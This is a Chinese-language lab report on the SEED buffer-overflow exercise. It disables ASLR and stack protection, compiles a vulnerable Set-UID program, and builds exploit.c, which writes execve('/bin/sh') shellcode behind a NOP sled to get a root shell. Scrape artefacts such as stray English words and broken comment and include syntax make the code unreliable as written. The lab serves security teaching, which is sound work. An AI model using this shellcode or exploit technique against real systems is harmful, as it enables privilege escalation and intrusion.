軟件安全攻防--緩衝區溢出和shellcode

緩衝區溢出漏洞實驗報告

實驗樓中有seed緩衝區溢出漏洞實驗,實驗內容與課本中要求的實驗基本一致,便利用實驗樓提供好的現成實驗環境來完成此次的實踐內容。linux

1、實驗簡介

緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的狀況。這一漏洞能夠被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片斷。這一漏洞的出現是因爲數據緩衝器和返回地址的暫時關閉,溢出會引發返回地址被重寫。shell

2、實驗準備

  • 系統用戶名shiyanlou
  • 實驗樓提供的是64位Ubuntu linux,而本次實驗爲了方便觀察彙編語句,咱們須要在32位環境下做操做,所以實驗以前須要作一些準備。
一、輸入命令安裝一些用於編譯32位C程序的東西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
二、輸入命令「linux32」進入32位linux環境。此時你會發現,命令行用起來沒那麼爽了,好比不能tab補全了,因此輸入「/bin/bash」使用bash:

3、實驗步驟

3.1 初始設置

Ubuntu和其餘一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜想準確的內存地址變得十分困難,而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中,咱們使用如下命令關閉這一功能:sass

sudo sysctl -w kernel.randomize_va_space=0

此外,爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防禦措施在/bin/bash中實現。bash

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連接。爲了重現這一防禦措施被實現以前的情形,咱們使用另外一個shell程序(zsh)代替/bin/bash。下面的指令描述瞭如何設置zsh程序:app

sudo su
cd /bin
rm sh
ln -s zsh sh
Exit



3.2 shellcode

通常狀況下,緩衝區溢出會形成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址,那麼程序就會跳轉到該地址,若是該地址存放的是一段精心設計的代碼用於實現其餘功能,這段代碼就是shellcode。dom

觀察如下代碼:this

include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次實驗的shellcode,就是剛纔代碼的彙編版本:spa

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序

把如下代碼保存爲「stack.c」文件,保存到 /tmp 目錄下。代碼以下:命令行

/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char *argv)
{
char str[517];
FILE badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

經過代碼能夠知道,程序會讀取一個名爲「badfile」的文件,並將文件內容裝入「buffer」。設計

編譯該程序,並設置SET-UID。命令以下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢出,因此咱們在編譯代碼時須要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用於容許執行棧。

3.4 攻擊程序

咱們的目的是攻擊剛纔的漏洞程序,並經過攻擊得到root權限。

把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下。代碼以下:

/ exploit.c /
/ A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char *argv)
{
char buffer[517];
FILE badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼,「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode保存在 buffer+100 的位置。

如今咱們要獲得shellcode在內存中的地址,輸入命令:

gdb stack
disass main

結果如圖:

接下來的操做:

根據語句 strcpy(buffer+100,shellcode); 咱們計算shellcode的地址爲 0xffffd1b0(十六進制)+100(十進制)=0xffffd214(十六進制)

如今修改exploit.c文件!將 \x??\x??\x??\x?? 修改成 \x14\xd2\xff\xff
而後,編譯exploit.c程序:

gcc -m32 -o exploit exploit.c
3.5 攻擊結果

先運行攻擊程序exploit,再運行漏洞程序stack,觀察結果:

可見,經過攻擊,得到了root權限! 若是不能攻擊成功,提示」段錯誤「,那麼請從新使用gdb反彙編,計算內存地址。

相關文章
相關標籤/搜索